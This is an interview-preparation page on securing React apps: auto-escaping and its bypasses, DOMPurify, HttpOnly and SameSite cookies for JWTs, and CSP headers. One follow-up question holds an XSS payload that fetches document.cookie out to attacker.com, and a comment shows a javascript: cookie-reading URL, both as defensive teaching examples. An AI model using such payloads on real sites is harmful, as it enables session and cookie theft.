How Do You Safeguard a React Application?

Advanced12 min interview
Skills tested:
Understanding what React auto-escapes and what bypasses itSanitizing dynamic HTML with DOMPurify before dangerouslySetInnerHTMLChoosing HttpOnly cookies over localStorage for JWT storageUnderstanding CSRF and SameSite cookie protectionImplementing Content Security Policy headers and their effect on XSS

Advertisement

🧩 Scenario

Security questions test whether you understand what React protects by default and where you must add protection yourself. The two most common interview angles are XSS via dangerouslySetInnerHTML and insecure JWT storage.

Architecture Walkthrough

What React Protects by Default and What It Does Not

React auto-escapes all string values rendered in JSX. A string like <script>alert(1)</script> assigned to a variable and rendered as {value} appears as literal text in the browser, not as a script tag, because React converts special HTML characters to their entity equivalents before inserting them into the DOM. This eliminates the most common form of XSS for content rendered through JSX.

Three common patterns bypass this protection. dangerouslySetInnerHTML accepts a { __html: string } object and inserts it directly into the DOM without escaping, making it a direct XSS vector if the string comes from user input or an external API. The href and src attributes accept javascript: URLs, which execute JavaScript when the user clicks or the browser loads them. Inline eval() or new Function() calls execute arbitrary code strings. React does nothing to prevent any of these.

XSS via Dynamic HTML

User-generated content that supports formatting (rich text editors, markdown renderers, blog comments with HTML) must be sanitized before insertion. DOMPurify processes an HTML string and removes any tags and attributes that could execute JavaScript, returning a safe subset. The allowlist approach (ALLOWED_TAGS, ALLOWED_ATTR) is safer than a denylist: permit only what you need rather than trying to block every possible attack vector.

JWT Storage and HttpOnly Cookies

Storing a JWT in localStorage makes it readable by any JavaScript running on the page, including scripts injected by an XSS attack. An HttpOnly cookie is inaccessible to JavaScript entirely — the browser sends it automatically on requests to the same domain but no script can read its value. For cross-domain API calls, configure SameSite=Strict or SameSite=Lax to prevent the cookie from being sent with cross-site requests, which mitigates CSRF without needing a separate CSRF token.

Content Security Policy (CSP) is a response header that tells the browser which origins scripts, styles, and other resources may be loaded from. A CSP that blocks inline scripts eliminates the impact of many XSS vulnerabilities by preventing injected scripts from executing even if they reach the DOM.


Key Code Explained

import DOMPurify from 'dompurify';

// XSS via dangerouslySetInnerHTML — vulnerable
function UnsafeBio({ bio }: { bio: string }) {
  // If bio contains <script>...</script> or onclick="...", it executes
  return <div dangerouslySetInnerHTML={{ __html: bio }} />;
}

// Sanitized version — safe
function SafeBio({ bio }: { bio: string }) {
  const sanitized = DOMPurify.sanitize(bio, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
    ALLOWED_ATTR: ['href', 'target', 'rel'],
  });

  return <div dangerouslySetInnerHTML={{ __html: sanitized }} />;
}

// href attack vector — javascript: URL
function UserLink({ url }: { url: string }) {
  // Attacker sets url to "javascript:alert(document.cookie)"
  // This executes when the user clicks — avoid this pattern
  return <a href={url}>Visit</a>; // vulnerable

  // Correct: validate the URL scheme
  const safeUrl =
    url.startsWith('https://') || url.startsWith('http://') ? url : '#';

  return (
    <a href={safeUrl} rel='noopener noreferrer' target='_blank'>
      Visit
    </a>
  );
}

// Next.js: Content Security Policy via next.config.ts
const securityHeaders = [
  {
    key: 'Content-Security-Policy',
    value: [
      "default-src 'self'",
      "script-src 'self'", // no inline scripts, no CDN scripts
      "style-src 'self' 'unsafe-inline'",
      "img-src 'self' data: https:",
      "connect-src 'self' https://api.yourapp.com",
    ].join('; '),
  },
  {
    key: 'X-Content-Type-Options',
    value: 'nosniff',
  },
  {
    key: 'X-Frame-Options',
    value: 'DENY', // prevents clickjacking via iframes
  },
];

// In next.config.ts
const nextConfig = {
  async headers() {
    return [{ source: '/(.*)', headers: securityHeaders }];
  },
};

// HttpOnly cookie setup (server-side — Next.js API route or middleware)
// This is a server concern, not a React concern
import { serialize } from 'cookie';

function setAuthCookie(res: Response, token: string) {
  const cookie = serialize('session', token, {
    httpOnly: true, // not readable by JavaScript
    secure: true, // HTTPS only
    sameSite: 'strict', // CSRF protection — not sent on cross-site requests
    maxAge: 60 * 60 * 24 * 7, // 7 days
    path: '/',
  });
  res.setHeader('Set-Cookie', cookie);
}

The rel="noopener noreferrer" on external links prevents the opened page from accessing window.opener (which could redirect the original tab) and strips the Referer header so the external site does not learn which page referred the user.


Tradeoffs

Token storageXSS readableCSRF riskPersists across tabsRecommended
localStorageYesNo (not sent as header)YesNo
sessionStorageYesNoNoNo
HttpOnly cookieNoYes (mitigated by SameSite)YesYes
In-memory stateNoNoNoYes (short sessions)

What Interviewers Actually Check

  • Whether you know what React auto-escapes and what bypasses it
  • Whether you sanitize before dangerouslySetInnerHTML
  • Whether you store JWTs in HttpOnly cookies rather than localStorage
  • Whether you validate user input on both client and server
  • Whether you know CSP as a defense-in-depth layer against XSS

Follow-Up Questions

  1. A CSRF attack succeeds against your API even though you use JWTs. How is this possible, and what two mitigations prevent it?
  2. How does a nonce-based CSP differ from a hash-based one, and when would you use each in a Next.js app?
  3. Your app uses a third-party analytics script. How do you allow it in your CSP without opening the policy to all external scripts?
  4. A user submits a comment containing <img src="x" onerror="fetch('https://attacker.com?c='+document.cookie)">. Walk through what happens with and without DOMPurify sanitization.
  5. How does npm audit work and what is its limitation as a security tool?

Common Candidate Mistakes

  • Storing JWTs in localStorage because "it's easier" without understanding the XSS exposure
  • Using dangerouslySetInnerHTML with an unsanitized API response, trusting the server to send safe HTML
  • Validating input only on the frontend, which can be bypassed by sending requests directly to the API
  • Not setting SameSite on cookies and not understanding the CSRF attack it prevents
  • Thinking https:// protects against XSS — encryption protects data in transit, not injected code in the DOM

Interview Readiness Checklist

Before you leave this question, make sure you can answer:

  • Can you explain what React escapes and what it does not?
  • Can you demonstrate sanitizing HTML with DOMPurify before using dangerouslySetInnerHTML?
  • Can you explain why localStorage is insecure for JWTs and what the correct alternative is?
  • Can you describe CSRF and explain how SameSite=Strict prevents it?
  • Can you describe what a Content Security Policy does and how to add one in Next.js?

Summary

React auto-escapes string values in JSX, preventing the most common form of XSS. The three bypass patterns are dangerouslySetInnerHTML, javascript: URLs in href or src, and eval(). Sanitize HTML with DOMPurify using an explicit allowlist of permitted tags and attributes before passing it to dangerouslySetInnerHTML. Store JWTs in HttpOnly cookies, not localStorage, to prevent XSS attacks from stealing tokens. Add SameSite=Strict or SameSite=Lax to mitigate CSRF. Validate all inputs on the server regardless of frontend validation. Add Content Security Policy headers to limit the sources from which scripts can load, reducing the blast radius of any XSS that does reach the DOM. Run npm audit regularly and keep dependencies updated.

Related Videos
Watch these videos to learn more about this topic
Frequently Asked Questions

Is React secure by default?

React escapes all string values in JSX, which prevents the most common form of XSS. However, dangerouslySetInnerHTML, javascript: URLs in href/src attributes, and eval() bypass this protection. React never sends anything to a server or touches cookies — server-side security is entirely the developer's responsibility.

Advertisement


Stay Updated

Get the latest frontend challenges, interview questions and tutorials delivered to your inbox.

Advertisement